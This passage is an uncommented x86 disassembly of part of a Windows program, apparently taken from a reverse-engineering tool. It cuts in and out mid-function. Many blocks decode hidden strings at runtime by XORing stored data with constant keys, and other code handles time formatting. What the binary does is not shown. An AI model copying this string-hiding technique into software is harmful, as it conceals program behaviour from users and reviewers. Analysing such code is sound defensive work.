mov dword [esp + 0x58], esi
mov dword [esp + 0x5c], edi
mov dword [esp + 0x60], ebx
xor al, 0x2b
lea esi, [esp + 0xc0]
lea ebx, [esp + 0x50]
mov byte [esp + 0x64], al
mov ecx, esi
mov edx, ebx
push 0x15
call fcn.004c0d70
add esp, 4
lea ecx, [esp + 0x970]
mov edx, esi
call fcn.004a7290
mov esi, dword [esp + 0x970]
lea eax, [esp + 0x974]
push 0xc0
push eax
lea edi, [esp + 0x4e8]
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
cmp esi, 3
jne 0x410ac5
push 0xc0
push edi
lea esi, [esp + 0x238]
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov ecx, esi
mov dword [esp + 0x50], 0
mov dword [esp + 0x54], 1
mov dword [esp + 0x58], 0
call fcn.004bf870
mov dword [esp + 0xc0], eax
mov dword [esp + 0xc4], edx
mov dword [esp + 0xcc], 0
mov dword [esp + 0xc8], 0xa00001
lea ecx, [esp + 0x970]
lea edx, [esp + 0xc0]
push ebx
call fcn.004bf980
add esp, 4
movzx eax, byte [esp + 0x970]
cmp eax, 4
jne 0x410e8b
cmp dword [esp + 0x974], 0
je 0x410eb9
mov ecx, dword [esp + 0x50]
mov esi, dword [esp + 0x58]
mov edi, 0x2000
lea edx, [esp + 0xc0]
mov dword [esp], 0
mov eax, esi
or eax, ecx
jne 0x4106e0
lea eax, [esp + 0x50]
lea ecx, [esp + 0x970]
push eax
call fcn.004bf980
add esp, 4
movzx eax, byte [esp + 0x970]
cmp eax, 4
jne 0x410e8b
cmp dword [esp + 0x974], 0
je 0x410eb9
mov ecx, dword [esp + 0x50]
mov esi, dword [esp + 0x58]
cmp esi, ecx
mov dword [esp + 0x44], esi
jne 0x410728
mov edx, 0x2601
cmp ecx, 0xffffffdf
ja 0x414bdf
mov esi, edi
lea edi, [ecx + 0x20]
lea eax, [ecx + ecx]
cmp eax, edi
cmova edi, eax
test edi, edi
js 0x414bdf
test ecx, ecx
je 0x41072e
mov eax, dword [esp + 0x54]
mov dword [esp + 0x970], eax
mov eax, 1
mov dword [esp + 0x978], ecx
jmp 0x410730
mov eax, dword [esp + 0x54]
jmp 0x410779
xor eax, eax
mov dword [esp + 0x974], eax
lea eax, [esp + 0x970]
lea ecx, [esp + 0x4e0]
mov edx, 1
push eax
push edi
call fcn.0041c420
add esp, 8
cmp dword [esp + 0x4e0], 1
je 0x414bda
mov eax, dword [esp + 0x4e4]
mov ecx, edi
mov dword [esp + 0x54], eax
mov dword [esp + 0x50], edi
mov edi, esi
mov esi, dword [esp + 0x44]
mov dword [esp + 0x128], ecx
sub ecx, esi
mov edx, dword [esp + 0xcc]
mov dword [esp + 0x74], edi
cmp ecx, edi
cmovae ecx, edi
add eax, esi
mov esi, dword [esp + 0xc0]
mov edi, dword [esp + 0xc8]
mov dword [esp + 0x4e0], eax
mov dword [esp + 0x4e4], ecx
mov dword [esp + 0x104], ecx
mov ecx, dword [esp]
mov dword [esp + 0x4e8], 0
mov dword [esp + 0x3c], edx
mov dword [esp + 8], esi
mov esi, dword [esp + 0x10]
mov dword [esp + 0x40], edi
mov dword [esp + 0x4ec], ecx
mov ecx, dword [esp + 0xc4]
mov dword [esp + 4], ecx
mov eax, edi
or eax, edx
jne 0x410806
jmp 0x410995
mov dword [esp + 0x10], esi
mov eax, dword [esp + 0x4e4]
mov esi, dword [esp + 0x4e8]
mov ecx, 0
mov dword [esp], edx
sub eax, esi
cmp eax, edi
sbb ecx, edx
jae 0x41088c
push 0
lea eax, [esp + 0x4e4]
push eax
push dword [esp + 0x10]
lea eax, [esp + 0x97c]
push eax
mov eax, dword [esp + 0x14]
call dword [eax + 0x24]
add esp, 0x10
cmp byte [esp + 0x970], 4
jne 0x410953
mov eax, dword [esp + 0x4e8]
mov edx, dword [esp]
sub eax, esi
mov esi, dword [esp + 0x10]
sub edi, eax
sbb edx, 0
and ebx, 0xffffff00
mov dword [esp + 0x40], edi
or ebx, 4
mov dword [esp + 0x3c], edx
movzx eax, bl
mov eax, dword [eax*4 + 0x414dcc]
add eax, dword [esp + 0x28]
jmp eax
cmp eax, edi
jb 0x414daa
mov ecx, dword [esp + 0x4ec]
mov eax, dword [esp + 0x4e0]
mov dword [esp + 0xc], ecx
sub ecx, esi
add eax, esi
cmp ecx, edi
mov dword [esp + 0x970], eax
mov dword [esp + 0x974], edi
mov dword [esp + 0x978], 0
cmovae ecx, edi
mov dword [esp + 0x97c], ecx
push 0
lea eax, [esp + 0x974]
push eax
push dword [esp + 0x10]
lea eax, [esp + 0x9c]
push eax
mov eax, dword [esp + 0x14]
call dword [eax + 0x24]
add esp, 0x10
cmp byte [esp + 0x90], 4
jne 0x410974
mov eax, dword [esp + 0x978]
mov edx, dword [esp + 0xc]
lea ecx, [eax + esi]
cmp edx, ecx
mov dword [esp + 0x4e8], ecx
cmova ecx, edx
add esi, dword [esp + 0x97c]
mov edx, dword [esp]
cmp ecx, esi
cmova esi, ecx
sub edi, eax
sbb edx, 0
and ebx, 0xffffff00
mov dword [esp + 0x4ec], esi
mov esi, dword [esp + 0x10]
mov dword [esp + 0x40], edi
or ebx, 4
mov dword [esp + 0x3c], edx
movzx eax, bl
mov eax, dword [eax*4 + 0x414dcc]
add eax, dword [esp + 0x28]
jmp eax
mov ebx, dword [esp + 0x970]
mov esi, dword [esp + 0x974]
mov edx, dword [esp]
movzx eax, bl
mov eax, dword [eax*4 + 0x414dcc]
add eax, dword [esp + 0x28]
jmp eax
mov ebx, dword [esp + 0x90]
mov esi, dword [esp + 0x94]
mov edx, dword [esp]
movzx eax, bl
mov eax, dword [eax*4 + 0x414dcc]
add eax, dword [esp + 0x28]
jmp eax
and ebx, 0xffffff00
xor edx, edx
xor edi, edi
or ebx, 4
movzx eax, bl
mov eax, dword [eax*4 + 0x414dcc]
add eax, dword [esp + 0x28]
jmp eax
lea eax, [esp + 0x744]
push 0xc0
push edi
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [esp + 0x740], esi
movzx eax, byte [0xfd520d]
xor ecx, ecx
mov edx, 7
call fcn.00494530
test eax, eax
je 0x414daa
lea ecx, [esp + 0x740]
mov dword [eax + 3], 0x6e776f6e
mov dword [eax], 0x6e6b6e55
mov dword [esp + 0x1c8], 7
mov dword [esp + 0x1cc], eax
mov dword [esp + 0x1d0], 7
call fcn.004049d0
mov eax, dword [0xfd5064]
cmp eax, 2
jne 0x414d3b
mov eax, dword [0xfd506c]
mov ecx, dword [0xfd5070]
mov dword [esp + 0x46c], eax
mov dword [esp + 0x470], ecx
mov eax, dword [0xfd5050]
cmp eax, 2
jne 0x4122a3
mov eax, dword [0xfd5058]
mov ecx, dword [0xfd505c]
mov dword [esp + 0x474], eax
lea eax, [0xf6ae9b]
mov dword [esp + 0x478], ecx
mov dword [esp + 0x970], eax
lea eax, [esp + 0x970]
lea eax, [esp + 0x970]
mov ecx, dword [esp + 0x970]
mov dword [esp + 0x970], 0xcd7105a7
mov edx, dword [esp + 0x970]
call fcn.00407af0
mov ecx, 0x428bcd69
mov esi, 0x3fe591d
mov edi, 0xd36e3313
mov ebx, 0xb4876b35
mov edx, 0x65dd1f65
xor ecx, dword [eax]
mov dword [esp], ecx
mov ecx, 0x5ff8efba
xor ecx, dword [eax + 4]
mov dword [esp + 0x10], ecx
mov ecx, 0xa53dd
xor esi, dword [eax + 8]
xor edi, dword [eax + 0xc]
xor ebx, dword [eax + 0x10]
xor edx, dword [eax + 0x14]
xor ecx, dword [eax + 0x18]
mov eax, dword [esp]
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x54], eax
lea eax, [esp + 0x50]
mov dword [esp + 0x58], esi
mov dword [esp + 0x5c], edi
mov dword [esp + 0x60], ebx
mov dword [esp + 0x64], edx
mov dword [esp + 0x68], ecx
mov dword [esp + 0x47c], eax
lea eax, [0xf6b20a]
mov dword [esp + 0x480], 0x1c
mov dword [esp + 0x970], eax
lea eax, [esp + 0x970]
lea eax, [esp + 0x970]
mov ecx, dword [esp + 0x970]
mov dword [esp + 0x970], 0xc3b68a0a
mov edx, dword [esp + 0x970]
call fcn.004079b0
pxor xmm0, xmm0
mov ecx, 0xfffffffc
mov dword [esp + 0x9b8], 0
movq qword [esp + 0x9b0], xmm0
pxor xmm0, xmm0
movdqa xmmword [esp + 0x9a0], xmm0
movdqa xmmword [esp + 0x990], xmm0
movdqa xmmword [esp + 0x980], xmm0
movdqa xmmword [esp + 0x970], xmm0
nop
mov edx, dword [ecx + 0x4ebe44]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0x974], edx
add ecx, 4
cmp ecx, 0x48
jb 0x410cb0
movzx eax, word [eax + 0x4c]
xor al, 0xa2
xor ah, 0x63
mov byte [esp + 0x9bc], al
mov byte [esp + 0x9bd], ah
lea eax, [esp + 0x230]
movaps xmm1, xmmword [esp + 0x980]
movaps xmm2, xmmword [esp + 0x990]
movaps xmm0, xmmword [esp + 0x970]
mov dword [esp + 0x484], eax
lea eax, [0xf745b5]
mov dword [esp + 0x488], 0x4e
mov dword [esp + 0x970], eax
lea eax, [esp + 0x970]
movaps xmmword [esp + 0x240], xmm1
movaps xmm1, xmmword [esp + 0x9a0]
movaps xmmword [esp + 0x250], xmm2
movsd xmm2, qword [esp + 0x9b0]
movaps xmmword [esp + 0x230], xmm0
movaps xmmword [esp + 0x260], xmm1
movsd xmm1, qword [esp + 0x9b6]
movsd qword [esp + 0x270], xmm2
movsd qword [esp + 0x276], xmm1
lea eax, [esp + 0x970]
mov ecx, dword [esp + 0x970]
mov dword [esp + 0x970], 0x97bc6e17
mov edx, dword [esp + 0x970]
call fcn.00407a30
mov ecx, 0x5f09fb2a
mov edx, 0x6dfde89c
mov esi, 0xcd2e1d8b
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
movzx eax, word [eax + 0xc]
mov ebx, dword [esp + 0x110]
mov edi, dword [esp + 0x4c]
xor al, 0x44
xor ah, 0x22
mov dword [esp + 0x1fc], ecx
mov dword [esp + 0x200], edx
mov dword [esp + 0x204], esi
mov byte [esp + 0x208], al
add ebx, edi
mov ecx, 0xc22e4507
mov byte [esp + 0x209], ah
lea eax, [esp + 0x1fc]
mov dword [esp + 0x48c], eax
mov eax, ebx
mov dword [esp + 0x490], 0xe
imul ecx
add edx, ebx
mov eax, edx
sar edx, 0x10
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x15180
sub ebx, eax
mov dword [esp + 0x110], ebx
sar ebx, 0x1f
add edx, ebx
mov dword [esp], ebx
cmp edx, 1
je 0x410e61
cmp edx, 0xffffffff
jne 0x41104b
mov ecx, dword [esp + 0x24]
mov eax, ecx
and eax, 0x1ff0
cmp eax, 0x10
jbe 0x410f4f
add eax, 0xfffffff0
and ecx, 0x7fffe00f
or ecx, eax
mov dword [esp + 0x24], ecx
jmp 0x41104b
mov ecx, dword [esp + 0x88]
cmp ecx, 0x16d1
jae 0x410f9e
mov eax, dword [esp + 0x24]
add ecx, 0x10
and eax, 0x7fffe007
or eax, ecx
mov dword [esp + 0x24], eax
jmp 0x41104b
movzx ebx, byte [esp + 0x973]
movzx ecx, word [esp + 0x971]
mov esi, dword [esp + 0x974]
shl ecx, 8
shl ebx, 0x18
or ebx, ecx
or ebx, eax
cmp bl, 4
mov ecx, ebx
mov edx, ebx
jne 0x414be1
mov edi, dword [esp + 0xc4]
mov esi, dword [esp + 0xc0]
mov eax, dword [edi]
test eax, eax
je 0x410ed3
push esi
call eax
add esp, 4
cmp dword [edi + 4], 0
je 0x410ef1
cmp dword [edi + 8], 9
jb 0x410ee2
mov esi, dword [esi - 4]
push esi
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x58]
cmp eax, 0xa00000
jbe 0x410fe4
lea ecx, [esp + 0x4e4]
mov edx, 0x27
push 0x20
push 0xfbdd90
call fcn.004a4210
add esp, 8
mov dword [esp + 0x4e0], 0x80000000
jmp 0x414c49
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test esi, esi
je 0x4102a7
push ebx
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x4102a7
mov esi, dword [esp + 0x78]
mov ecx, 0x51eb851f
dec esi
mov eax, esi
mul ecx
mov ecx, esi
shr edx, 7
imul eax, edx, 0x190
sub ecx, eax
movzx ecx, byte [ecx + 0xf7a4d8]
or ecx, 0x19f0
mov eax, ecx
shr eax, 3
movsx eax, byte [eax + 0xf7a198]
test eax, eax
je 0x411043
shl eax, 3
shl esi, 0xd
sub ecx, eax
or ecx, esi
mov dword [esp + 0x24], ecx
jmp 0x41104b
mov esi, dword [esp + 0x78]
mov dword [esp + 0x24], 0x7fffe01f
lea eax, [esi - 0x3fffe]
cmp eax, 0xfff80002
jb 0x41104b
inc esi
mov ecx, 0xa3d70b
mov eax, esi
mul ecx
mov ecx, esi
shl esi, 0xd
imul eax, edx, 0x190
sub ecx, eax
movzx eax, byte [ecx + 0xf7a4d8]
or esi, eax
or esi, 0x10
mov dword [esp + 0x24], esi
jmp 0x41104b
mov esi, dword [esp + 0x54]
lea ecx, [esp + 0x970]
mov edx, esi
push eax
call fcn.00415320
add esp, 4
mov edi, dword [esp + 0x978]
test edi, edi
js 0x414daa
mov eax, dword [esp + 0x970]
mov ecx, dword [esp + 0x974]
mov dword [esp + 0x10], eax
mov dword [esp], ecx
je 0x4122e7
movzx eax, byte [0xfd520d]
xor ecx, ecx
mov edx, edi
call fcn.00494530
mov ebx, eax
test eax, eax
jne 0x4122ec
jmp 0x414daa
mov dword [esp + 0x24], 0x800016e7
mov eax, edi
mov ecx, edi
mov ebx, 0x88888889
mov dword [esp + 0x90], 0
mov dword [esp + 0x94], 1
mov dword [esp + 0x98], 0
shr eax, 0x1f
neg ecx
lea eax, [eax + eax + 0x2b]
cmovs ecx, edi
mov dword [esp + 0x21c], eax
mov eax, ecx
imul ebx
add edx, ecx
mov eax, edx
sar edx, 5
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3c
sub ecx, eax
mov esi, ecx
sar esi, 0x1f
mov edi, esi
add esi, edx
mov eax, esi
and edi, 0x3c
imul ebx
add edx, esi
mov eax, edx
sar edx, 5
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3c
sub esi, eax
mov eax, esi
sar eax, 0x1f
mov ebx, eax
add eax, edx
and ebx, 0x3c
mov dword [esp + 0x158], eax
lea eax, [esp + 0x21c]
add ebx, esi
add edi, ecx
mov dword [esp + 0x140], edi
mov dword [esp + 0x1a0], ebx
je 0x411262
mov dword [esp + 0x4e0], eax
lea eax, [esp + 0x158]
mov dword [esp + 0x4e4], 0x41a4c0
movdqa xmm0, xmmword [0x4eb310]
movaps xmm2, xmmword [0x4eb320]
movaps xmm1, xmmword [0x4eb330]
mov dword [esp + 0xc0], 0xf7a814
mov dword [esp + 0xc4], 4
mov dword [esp + 0x970], 2
mov dword [esp + 0x978], 2
mov dword [esp + 0x980], 0x20
mov dword [esp + 0x984], 0
mov dword [esp + 0x988], 0
mov byte [esp + 0x98c], 3
mov dword [esp + 0x990], 2
mov dword [esp + 0x4e8], eax
lea eax, [esp + 0x1a0]
mov dword [esp + 0x4ec], 0x41b180
mov dword [esp + 0x4f0], eax
lea eax, [esp + 0x140]
mov dword [esp + 0x4f4], 0x41b180
mov dword [esp + 0x4f8], eax
lea eax, [esp + 0x970]
mov dword [esp + 0x4fc], 0x41b180
mov dword [esp + 0xd0], eax
lea eax, [esp + 0x4e0]
movdqu xmmword [esp + 0x998], xmm0
mov dword [esp + 0x9a8], 8
mov byte [esp + 0x9ac], 3
mov dword [esp + 0x9b0], 2
movups xmmword [esp + 0x9b8], xmm2
mov dword [esp + 0x9c8], 8
mov byte [esp + 0x9cc], 3
mov dword [esp + 0x9d0], 2
movups xmmword [esp + 0x9d8], xmm1
mov dword [esp + 0x9e8], 8
mov dword [esp + 0xd4], 4
mov byte [esp + 0x9ec], 3
mov dword [esp + 0xc8], eax
mov dword [esp + 0xcc], 4
jmp 0x411389
mov dword [esp + 0x4e0], eax
lea eax, [esp + 0x158]
movdqa xmm0, xmmword [0x4eb310]
movaps xmm1, xmmword [0x4eb320]
mov dword [esp + 0x4e4], 0x41a4c0
mov dword [esp + 0xc0], 0xf7a7fc
mov dword [esp + 0xc4], 3
mov dword [esp + 0x970], 2
mov dword [esp + 0x978], 2
mov dword [esp + 0x980], 0x20
mov dword [esp + 0x984], 0
mov dword [esp + 0x988], 0
mov byte [esp + 0x98c], 3
mov dword [esp + 0x990], 2
mov dword [esp + 0x4e8], eax
lea eax, [esp + 0x1a0]
mov dword [esp + 0x4ec], 0x41b180
mov dword [esp + 0x4f0], eax
lea eax, [esp + 0x970]
mov dword [esp + 0x4f4], 0x41b180
mov dword [esp + 0xd0], eax
lea eax, [esp + 0x4e0]
mov dword [esp + 0xd4], 3
movdqu xmmword [esp + 0x998], xmm0
mov dword [esp + 0x9a8], 8
mov byte [esp + 0x9ac], 3
mov dword [esp + 0x9b0], 2
movups xmmword [esp + 0x9b8], xmm1
mov dword [esp + 0x9c8], 8
mov dword [esp + 0xc8], eax
mov byte [esp + 0x9cc], 3
mov dword [esp + 0xcc], 3
lea eax, [esp + 0xc0]
lea ecx, [esp + 0x90]
mov edx, 0x4eb8b0
push eax
call fcn.00416a30
add esp, 4
test al, al
jne 0x414daa
mov eax, dword [esp]
movd xmm1, dword [esp + 0x38]
and eax, 0x15180
add eax, dword [esp + 0x110]
movd xmm0, eax
mov eax, dword [esp + 0x98]
punpckldq xmm0, xmm1
movsd xmm1, qword [esp + 0x90]
mov dword [esp + 0xd4], eax
mov eax, dword [esp + 0x24]
movsd qword [esp + 0xcc], xmm1
mov dword [esp + 0xec], eax
mov eax, dword [esp + 0x4c]
mov dword [esp + 0xc0], 1
movq qword [esp + 0xc4], xmm0
mov dword [esp + 0xd8], eax
lea eax, [0xf77ca0]
mov dword [esp + 0xdc], 0x4ebe8e
mov dword [esp + 0xe0], 0x11
mov dword [esp + 0xe4], 4
mov dword [esp + 0xe8], 0
mov dword [esp + 0x970], eax
lea eax, [esp + 0x970]
lea eax, [esp + 0x970]
mov ecx, dword [esp + 0x970]
mov dword [esp + 0x970], 0xe56f5e96
mov edx, dword [esp + 0x970]
call fcn.00407c70
mov ecx, 0x7567fcc4
mov edi, 0x4ca393fa
mov ebx, 0xe5455e14
mov esi, 0x9e78d3b7
xor ecx, dword [eax]
mov dword [esp], ecx
mov ecx, 0xd5180edb
xor ecx, dword [eax + 4]
mov dword [esp + 0x10], ecx
mov ecx, 0x5c047b0
xor edi, dword [eax + 8]
xor ebx, dword [eax + 0xc]
xor esi, dword [eax + 0x10]
xor ecx, dword [eax + 0x14]
movzx eax, word [eax + 0x18]
mov edx, dword [esp]
mov dword [esp + 0x90], edx
mov edx, dword [esp + 0x10]
xor al, 0x4b
xor ah, 0x64
mov dword [esp + 0x94], edx
mov dword [esp + 0x98], edi
mov dword [esp + 0x9c], ebx
mov dword [esp + 0xa0], esi
mov dword [esp + 0xa4], ecx
mov byte [esp + 0xa8], al
mov byte [esp + 0xa9], ah
lea eax, [esp + 0x90]
mov dword [esp + 0x494], eax
lea eax, [0xf6a798]
mov dword [esp + 0x498], 0x1a
mov dword [esp + 0x970], eax
lea eax, [esp + 0x970]
lea eax, [esp + 0x970]
mov ecx, dword [esp + 0x970]
mov dword [esp + 0x970], 0xb2960856
mov edx, dword [esp + 0x970]
call fcn.00407cb0
mov ecx, 0x893fe4d1
mov edx, 0xc11a3e63
mov esi, 0x5c15bc08
mov edi, 0x990df182
mov ebx, 0xc089e19c
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
xor edi, dword [eax + 0xc]
xor ebx, dword [eax + 0x10]
lea eax, [esp + 0x70c]
mov dword [esp + 0x49c], eax
lea eax, [0xf6cd5e]
mov dword [esp + 0x4a0], 0x14
mov dword [esp + 0x970], eax
lea eax, [esp + 0x970]
mov dword [esp + 0x70c], ecx
mov dword [esp + 0x710], edx
mov dword [esp + 0x714], esi
mov dword [esp + 0x718], edi
mov dword [esp + 0x71c], ebx
lea eax, [esp + 0x970]
mov ecx, dword [esp + 0x970]
mov dword [esp + 0x970], 0x3c7a9868
mov edx, dword [esp + 0x970]
call fcn.00407b00
mov ecx, 0xb754cb6d
mov edx, 0xe916f251
mov esi, 0xdcc5f61f
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
movzx eax, word [eax + 0xc]
xor al, 0x9c
xor ah, 0xc4
mov dword [esp + 0x20c], ecx
mov dword [esp + 0x210], edx
mov dword [esp + 0x214], esi
mov byte [esp + 0x218], al
mov byte [esp + 0x219], ah
lea eax, [esp + 0x20c]
mov dword [esp + 0x4a4], eax
lea eax, [0xf6f574]
mov dword [esp + 0x4a8], 0xe
mov dword [esp + 0x970], eax
lea eax, [esp + 0x970]
lea eax, [esp + 0x970]
mov ecx, dword [esp + 0x970]
mov dword [esp + 0x970], 0x54d15611
mov edx, dword [esp + 0x970]
call fcn.00407a90
mov ecx, 0x5591531a
mov esi, 0x835a8150
mov edi, 0xbd6df5e8
mov ebx, 0x79ce7400
xor ecx, dword [eax]
mov dword [esp], ecx
mov ecx, 0x81b7b083
xor ecx, dword [eax + 4]
mov dword [esp + 0x10], ecx
mov ecx, 0x5e8bdb47
xor esi, dword [eax + 8]
xor edi, dword [eax + 0xc]
xor ebx, dword [eax + 0x10]
xor ecx, dword [eax + 0x14]
movzx eax, byte [eax + 0x18]
mov edx, dword [esp]
mov dword [esp + 0x158], edx
mov edx, dword [esp + 0x10]
xor al, 0x76
mov dword [esp + 0x15c], edx
mov dword [esp + 0x160], esi
mov dword [esp + 0x164], edi
mov dword [esp + 0x168], ebx
mov dword [esp + 0x16c], ecx
mov byte [esp + 0x170], al
lea eax, [esp + 0x158]
mov dword [esp + 0x4ac], eax
lea eax, [0xf6db5c]
mov dword [esp + 0x4b0], 0x19
mov dword [esp + 0x970], eax
lea eax, [esp + 0x970]
lea eax, [esp + 0x970]
mov ecx, dword [esp + 0x970]
mov dword [esp + 0x970], 0xdcbb804b
mov edx, dword [esp + 0x970]
call fcn.00407b80
mov ecx, 0x7e89061b
mov edx, 0x97036efe
mov esi, 0xa146a190
mov edi, 0xdbe7fe6a
mov ebx, 0xa17f239f
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
xor edi, dword [eax + 0xc]
xor ebx, dword [eax + 0x10]
lea eax, [esp + 0x720]
mov dword [esp + 0x4b4], eax
lea eax, [0xf6e579]
mov dword [esp + 0x4b8], 0x14
mov dword [esp + 0x970], eax
lea eax, [esp + 0x970]
mov dword [esp + 0x720], ecx
mov dword [esp + 0x724], edx
mov dword [esp + 0x728], esi
mov dword [esp + 0x72c], edi
mov dword [esp + 0x730], ebx
lea eax, [esp + 0x970]
mov ecx, dword [esp + 0x970]
mov dword [esp + 0x970], 0x3131049a
mov edx, dword [esp + 0x970]
call fcn.00407a50
mov ecx, 0x9d9ec8de
mov edx, 0xd420791c
mov esi, 0xbb71073d
mov ebx, 0xe94bb436
mov edi, 0x666a41d0
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
xor ebx, dword [eax + 0xc]
xor edi, dword [eax + 0x10]
movzx eax, word [eax + 0x14]
xor al, 0xf8
xor ah, 0x89
mov dword [esp + 0x140], ecx
mov dword [esp + 0x144], edx
mov dword [esp + 0x148], esi
mov dword [esp + 0x14c], ebx
mov dword [esp + 0x150], edi
mov byte [esp + 0x154], al
mov byte [esp + 0x155], ah
lea eax, [esp + 0x140]
mov dword [esp + 0x4bc], eax
lea eax, [0xf79142]
mov dword [esp + 0x4c0], 0x16
mov dword [esp + 0x970], eax
lea eax, [esp + 0x970]
lea eax, [esp + 0x970]
mov ecx, dword [esp + 0x970]
mov dword [esp + 0x970], 0xef0a468d
mov edx, dword [esp + 0x970]
call fcn.00407c90
mov ecx, 0xb2d015c5
mov edx, 0xbd7553d1
mov esi, 0xf6e07296
mov edi, 0xeeeb172f
mov ebx, 0xdd89428
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
xor edi, dword [eax + 0xc]
xor ebx, dword [eax + 0x10]
lea eax, [esp + 0x21c]
mov dword [esp + 0x4c4], eax
lea eax, [0xf780ac]
mov dword [esp + 0x4c8], 0x14
mov dword [esp + 0x970], eax
lea eax, [esp + 0x970]
mov dword [esp + 0x21c], ecx
mov dword [esp + 0x220], edx
mov dword [esp + 0x224], esi
mov dword [esp + 0x228], edi
mov dword [esp + 0x22c], ebx
lea ebx, [esp + 0x970]
mov ecx, dword [esp + 0x970]
mov dword [esp + 0x970], 0x77902b
mov edx, dword [esp + 0x970]
call fcn.004079e0
pxor xmm0, xmm0
mov ecx, 0xfffffffc
movq qword [esp + 0x9b0], xmm0
pxor xmm0, xmm0
movdqa xmmword [esp + 0x9a0], xmm0
movdqa xmmword [esp + 0x990], xmm0
movdqa xmmword [esp + 0x980], xmm0
movdqa xmmword [esp + 0x970], xmm0
nop word cs:[eax + eax]
nop
mov edx, dword [ecx + 0x4ebea3]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0x974], edx
add ecx, 4
cmp ecx, 0x44
jb 0x411970
movzx ecx, byte [eax + 0x4a]
movzx eax, word [eax + 0x48]
lea edx, [esp + 0x4e0]
mov dword [esp + 0x1a0], 0x4ebef0
mov dword [esp + 0x1a4], 0x14
mov dword [esp + 0x1b0], 0
mov dword [esp + 0x1a8], ebx
mov dword [esp + 0x1ac], 0x14
mov dword [esp + 0x4cc], edx
lea edx, [esp + 0x484]
mov dword [esp + 0x4d0], 0x4b
xor al, 0x94
xor ah, 0xbd
xor cl, 0xb
mov byte [esp + 0x9b8], al
mov byte [esp + 0x9b9], ah
mov byte [esp + 0x9ba], cl
lea ecx, [esp + 0x47c]
movaps xmm1, xmmword [esp + 0x980]
movdqa xmm0, xmmword [esp + 0x970]
mov dword [esp + 0x970], ecx
lea ecx, [esp + 0x48c]
movaps xmm2, xmmword [esp + 0x9a0]
mov eax, dword [esp + 0x9b7]
movaps xmmword [esp + 0x4f0], xmm1
movaps xmm1, xmmword [esp + 0x990]
movdqa xmmword [esp + 0x4e0], xmm0
movaps xmmword [esp + 0x510], xmm2
movaps xmmword [esp + 0x500], xmm1
movsd xmm1, qword [esp + 0x9b0]
mov dword [esp + 0x974], 0x49bdf0
mov dword [esp + 0x978], edx
mov dword [esp + 0x97c], 0x49bdf0
mov dword [esp + 0x980], ecx
lea edx, [esp + 0xc0]
lea ecx, [esp + 0x494]
mov dword [esp + 0x984], 0x49bdf0
mov dword [esp + 0x988], edx
mov dword [esp + 0x98c], 0x409860
mov dword [esp + 0x990], ecx
lea edx, [esp + 0x46c]
lea ecx, [esp + 0x49c]
mov dword [esp + 0x994], 0x49bdf0
mov dword [esp + 0x998], edx
mov dword [esp + 0x99c], 0x49bdf0
mov dword [esp + 0x9a0], ecx
lea edx, [esp + 0x1c8]
lea ecx, [esp + 0x4a4]
mov dword [esp + 0x9a4], 0x49bdf0
mov dword [esp + 0x9a8], edx
mov dword [esp + 0x9ac], 0x407160
mov dword [esp + 0x9b0], edx
mov dword [esp + 0x9b4], 0x407160
mov dword [esp + 0x9b8], ecx
lea edx, [esp + 0x1e8]
lea ecx, [esp + 0x4ac]
mov dword [esp + 0x9bc], 0x49bdf0
mov dword [esp + 0x9c0], edx
mov dword [esp + 0x9c4], 0x407160
mov dword [esp + 0x9c8], ecx
lea edx, [esp + 0x454]
lea ecx, [esp + 0x4b4]
mov dword [esp + 0x9cc], 0x49bdf0
movsd qword [esp + 0x520], xmm1
mov dword [esp + 0x527], eax
mov dword [esp + 0x9d0], edx
mov dword [esp + 0x9d4], 0x49bdf0
mov dword [esp + 0x9d8], ecx
lea edx, [esp + 0x45c]
lea ecx, [esp + 0x4bc]
mov dword [esp + 0x9dc], 0x49bdf0
mov dword [esp + 0x9e0], edx
mov dword [esp + 0x9e4], 0x49bdf0
mov dword [esp + 0x9e8], ecx
lea edx, [esp + 0x464]
lea ecx, [esp + 0x4c4]
mov dword [esp + 0x9ec], 0x49bdf0
mov dword [esp + 0x9f0], edx
mov dword [esp + 0x9f4], 0x49bdf0
mov dword [esp + 0x9f8], ecx
lea edx, [esp + 0x474]
lea ecx, [esp + 0x4cc]
mov dword [esp + 0x9fc], 0x49bdf0
mov dword [esp + 0xa00], edx
mov dword [esp + 0xa04], 0x49bdf0
mov dword [esp + 0xa08], ecx
lea ecx, [esp + 0x4d4]
lea edx, [esp + 0x1a0]
mov dword [esp + 0xa0c], 0x49bdf0
call fcn.00415500
test dword [esp + 0xcc], 0x7fffffff
je 0x411c7e
push dword [esp + 0xd0]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x4d4]
mov edx, dword [esp + 0x4d8]
mov esi, dword [esp + 0x4dc]
mov dword [esp + 0x10], eax
mov eax, dword [section..data]
cmp eax, 2
jne 0x4122b7
mov eax, dword [0xfd5008]
mov ecx, dword [0xfd500c]
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], ecx
mov eax, dword [0xfd5014]
cmp eax, 2
jne 0x4122cf
mov eax, dword [0xfd501c]
mov ecx, dword [0xfd5020]
lea edi, [esp + 0x4e0]
mov dword [esp], edx
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], ecx
mov ecx, edi
push 3
push 0x4ebdb4
push 1
push 0xfbdef3
push esi
call fcn.00405360
add esp, 0x14
lea eax, [esp + 0x90]
